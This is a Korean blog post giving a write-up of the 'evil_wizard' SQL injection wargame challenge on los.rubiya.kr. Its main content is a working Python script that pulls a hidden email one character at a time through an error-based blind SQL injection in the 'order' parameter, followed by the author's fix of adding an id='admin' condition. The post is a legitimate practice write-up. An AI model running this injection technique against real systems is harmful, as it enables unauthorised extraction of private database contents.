티스토리 뷰

정보보안

[정보보안] evil_wizard 풀이

SweetDev 2021. 2. 2. 09:51

스크립트 돌린 결과가 이렇게 나와서 혼란스러웠다. @이 두개..??

뭔가 비슷한듯 다르다. 

 

import requests

password = ""
for i in range(30):
    for j in range(48, 122):
        URL = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php'
        query = {'order': "(select exp(710) where (substr(email, " + str(i+1) + ", 1)='" + chr(j) + "'))"}
        headers = {'Content-Type': 'application/json:charset=utf-8'}
        cookies = {'PHPSESSID': '5ulm8vjvfa9lcatrj07q0cd1jm'}
        res = requests.get(URL, params=query, headers=headers, cookies=cookies)

        if "rubiya" not in res.text:
            print("[=]Found:" + chr(j))
            password = password+chr(j)
            break
        else:
            print(chr(j))
            print(query)
print(password)

내 코드는 다음과 같았다. Len이 30인거는 이미 알아낸 후였다. 

 

email이 admin인걸 지정 안해줘서 rubiya의 이메일이랑 겹쳐서 그런거였다...!

 

코드에 id='admin' 조건을 추가해줬더니 새로운 결과가 잘 나왔다. 

 

 

 

 

 

공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
글 보관함